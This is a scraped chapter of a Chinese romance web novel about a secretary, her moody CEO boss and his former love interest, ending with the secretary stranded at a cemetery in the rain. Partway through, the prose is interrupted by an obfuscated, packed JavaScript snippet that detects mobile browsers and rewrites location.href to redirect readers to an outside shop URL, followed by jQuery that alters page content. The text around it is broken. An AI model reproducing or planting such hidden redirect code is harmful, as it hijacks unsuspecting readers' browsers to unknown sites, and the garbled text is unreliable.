齐曜辰手底下所有女员工全部调职。
除了边芮。
消息很快传遍整个公司。
阿鎏为此特意发来问候:【边秘书,别气馁,留在齐总身边也并非没有好处。】
望了一眼身旁空荡荡的座位,边芮面无表情敲字。
【请举例。】
对面三分钟没有动静。
【看吧,是不是一个好处也想不出来。】
她就知道。
留在齐曜辰身边根本没有好处。
【姐们,我真羡慕你。】
这是边芮的肺腑之言。
人人都有美好未来,她除外。
阿鎏被调到程副总身边,以后她连说八卦的人都难找到,倘若碰上齐曜辰发怒,全部火力她得一个人扛,遇上紧急情况,所有的工作也全都加倍。
天呐。
她想去死一死。
怎么工资就不能跟着翻倍呢。
待遇提一提,她也可以再忍一忍的嘛。
【边秘书,其实我有个憋在心底的疑问,你问过齐总为什么只有你没有调动吗?】
望着阿鎏发来的探问,边芮轻叹一声。
【我问过的。】
【是吗,那齐总怎么说?】
【他说没把我当女人。】
【???】
三个问号都无法表达阿鎏的震惊。
【齐总真这么说?】
【千真万确。】
【那齐总说话有点伤人了。】
阿鎏安慰:【边秘书,齐总脾气你是了解的,别往心里去。】
边芮没为这种事生气。
她不爱收拾打扮,平时私服也都以舒适的运动服为主,在齐曜辰看来可能的确没什么女人味。
这不是重点。
重点是这导致她断送了调职的机会。
亏大了。
唉。
放下手机,边芮望了一眼办公室方向。
齐曜辰还没来。
下午公司开大会,要求所有股东出席,照道理齐曜辰也该来公司做做准备了。
边芮心里有些没底,摸索着拨通号码。
响动两声,对面挂断。
她试着再拨打一次。
对面又是秒挂。
什么情况,怎么不接呢。
正在纳闷的边芮不会想到自己一则电话给紧张的吵架局面造成多大的影响。
自从一天之内将手底下所有女员工都调离之后,齐曜辰忍不住去向顾熙柔邀功。
仿佛这样就斩断了一切祸根。
得知真相的顾熙柔只觉得他在自欺欺人。
公司的情况她有所耳闻,听说阿鎏已经被调到程副总身边,另外一位女主管也被调到分公司任经理。
而边秘书仍旧是边秘书。
这和掩耳盗铃有什么区别?
顾熙柔只觉得好笑。
齐曜辰的这一出举动丝毫没有让她感受到被受重视,反而让她将真相看得更加明白。
她不是一个拿不起放不下的人。
虽说回国是为了重拾当年错过的美好,但错过就是错过,无法挽回时,她也可以潇洒放下的。
不必勉强。
她不喜欢勉强。
奈何齐曜辰守着当年的情谊,无法真正审视自己的内心,偏不放手。
两人在星云酒店宽敞的客厅里发生争执时,一道不合时宜的电话打来。
气头上的齐曜辰直接将电话挂断。
对方再次打来。
他又挂断。
顾熙柔看清了。
对面是边秘书的号码。
三人总处在这种剪不断理还乱的关系中也不是一个事,顾熙柔叹息一声,决定将真相戳破。
“曜辰,我劝你放手不是因为不在乎你,这次回国的目的,我是希望与你重归于好,以前错过的东西我想重新珍惜,但可惜上天没给我这样的机会。”
“大概是对我以前的惩罚吧,我也真心实意地感受到痛苦,可是比起接受虚假的美好,我宁愿痛苦。曜辰,你难道还不明白吗,你的心已经不在我这里了。”
“事实上,从我刚回国在边秘书手上看到你的私人银行卡时,我就感受到异样,后面你为了照顾边秘书而撇下我,那个时候我早已不是你心里的第一名。”
说到此处,顾熙柔眉目一皱。
眼里泛出些许泪光。
“我还记得当初你给我发信息,说是看到一个和我长得很像的女孩,我没有当一回事,当时我没想到有一天这个女孩会取代我在你心目中的地位,估计当时的你也没有想到。”
“可是事实就是如此,感情这种东西是没法控制的,我没有在适当的时间喜欢上你,想要回头时,你早已被别人占据心扉,如此错过,大概是没有缘分。”
“想想我们分开的时间比相识的时间还要长,什么都无法抵挡岁月的腐蚀,既然事实已经如此,我们都要学会接受,不是吗?”
一大段真诚的剖析,齐曜辰只从其中读取一点。
顾熙柔在指责他对边芮产生感情。
“我没有!”
很多东西不是凭借声音与语调就能否认的,吼得再大声,就能骗过自己吗?
顾熙柔无声叹息。
“曜辰,你要学会接受事实。”
一句话将前尘往事盖棺定论,不留任何辩解的余地。
仿佛以前所有的感情都不值一提。
齐曜辰铁青着脸,一言不发冲出酒店。
直到下午公司大会召开,也无人能联系上他。
边芮有点着急。
这是齐曜辰第一次长时间不接她电话。
不接电话也就罢了,连报平安的短信也不发一条,这样她很难不怀疑这位豪门公子哥出了什么意外。
思索再三,边芮决定亲自去找。
*
城南墓园。
一块方形石碑前,靠着一道孤单的身影。
齐曜辰放下手中的康乃馨,伸手接近冰凉的石碑。
他早已忘了母亲的温度,这么多年,每当试着去触碰,回应他的永远是无情的坚硬质感。
自从母亲走后,他很少再体会家庭的温暖。
父亲自诩对母亲深情,却在一年后很快迎娶新人。
第二年迎来新的爱情结晶。
从此一家三口完整了。
而他,彻彻底底成为外人。
过早的失去母亲让他的童年提前进入漫长的叛逆期,之后很长一段时间,他与父亲的关系如同水火。
舅舅给他做思想工作,让他看开点,这样僵持下去,只会将父亲越推越远,让父子关系越来越糟糕,最后反而成全了别人。
道理他都懂,但不想去乞讨关注。
我行我素的青春期就这样度过,成年后进入大学,一向叛逆的他反而收敛一些,他第一次产生和解的想法。
那是一个午后,母亲忌日,他从墓园回来,想找父亲长聊谈心。
老宅子里,父亲坐在沙发上看报,继母在一旁倒茶,继弟拿着玩具承欢膝下,一副其乐融融的模样。
他站在外面没敢进去。
默默观望片刻,转身走了。
回到学校,他坐在教学楼的第一层台阶上。
天空乌云密布,下起倾盆大雨。
啪——
一滴豆大的雨珠落到脸庞,中断了齐曜辰的思绪。
他抬头,阴沉的天空无数雨点又凶又猛往下落,不一会儿地面湿成一片。
这样的画面与记忆中的景象慢慢重叠。
那天也是这样的大雨,他一个人独自坐在教学楼前的台阶上。
汹涌的雨水迅速淋湿他周身。
“同学,你怎么一个人坐在这里淋雨?”
伴随着清脆的声音,一顶雨伞落到他头顶。
那是他第一次碰见顾熙柔。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094311|195591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
穿着洁白长裙的顾熙柔气质优雅的形象就这样永远定格在他的脑海。
与他素不相识的顾熙柔将雨伞递给他,说淋雨会生病,劝他赶紧回宿舍。
在一个陌生人身上,他感受到久违的真挚的关心。
事后他打探过,顾熙柔是同校但不同专业的女生,一向不热衷于男女之事的他无师自通般开始每天主动制造偶遇,邀请对方吃饭。
获得回应的他很开心,以为对方也与自己拥有同样的感觉,于是选在一个烂漫的夜晚告白。
毫无疑问失败了。
原来顾熙柔心里早就有喜欢的人,送伞举动只是单纯出于善良。
听说那人是同专业的计峻奕。
很耀眼的一号人物。
不擅长参加学校任何活动的他也听过这位校园风云人物的名号。
对方长得很帅,家世也好,学习成绩很优异,还有近水楼台先得月的优势,他觉得自己比不过,心里很卑微,一直默默奉献了好久。
但他没想过放弃。
这段单方面的爱恋让他久违的平静的心再次跳动起来。
人生似乎重新有了意义。
他舍不得放弃,也不能放弃。
那是他如此珍贵的一段岁月,现在被顾熙柔一句话全部否定。
心里的钝痛如锤击般难受,是雨水也洗刷不了的憋火。
“你怎么一个人坐在这里淋雨?”
一道清脆的声音从身后传来,随后淋落到头顶的雨滴被雨伞全部隔绝。
往事逐渐重叠。
齐曜辰双眼一亮,飞速回头。
入眼的是边芮那张挂满担忧的小脸。
“淋雨很容易生病的,齐总,赶紧跟我回公司吧。”
齐曜辰没吭声。
死死盯着面前的人。
是的,她们不同。
声音不同,脸蛋不同,穿着打扮不同,行事风格不同,统统都不同。
哪哪都不一样。
为什么当初自己会把她带回公司呢?
齐曜辰想不明白。
就像他现在也不明白,自己的心跳为什么漏了一拍。
一切似乎在应证顾熙柔的猜测。
而他不肯承认。
“齐总,雨越下越大,您这样会淋坏身体的,老马等在外面,我们都在盼着您回去,您还是……”
话到一半,齐曜辰起身,径直走了。
看也没看她一眼。
“您等等,我给您撑伞。”
前面的人置若罔闻,甚至加快了步伐。
边芮追在身后,一路小跑出了墓园。
定眼一看,停在外面的专车已经发动。
顶着湿漉漉身体的齐曜辰上车后吩咐司机老马开车,直接将她扔下了。
“齐总,我还没上车呢!”
追了几步的边芮眼瞧着追不上,气得咬牙切齿。
雨声掩盖了她的声音,雨水打湿了她的裤腿,怀着好心一路找来的她,就这样被独自扔在墓园外面。
方圆十里,大概很难打车。
边芮暗暗咬牙。
下次齐曜辰再玩失踪,是死是活她都不管了!
气头上的她无奈掏出手机,试着看看能否幸运打到车。
墓园太远,又在下暴雨,好几次下单都被取消。
一阵凉风吹来,边芮打了个寒颤。
她身后是整座城市最大的墓园,一块块石碑像无声的躯体伫立,天色越来越晚,气氛只会越来越恐怖。
不行,得赶紧离开。
边芮埋头翻找出阿鎏的号码。
正准备拨号,一辆黑色的宾利不偏不倚停到她面前。
车窗缓缓摇下,露出一张熟悉的脸。
“需要帮忙吗?”
声音还是一如既往的温和。
边芮喜出望外,弯腰上前热情打招呼。
“好巧啊计总,每次遇到困难都能碰见你,真好!”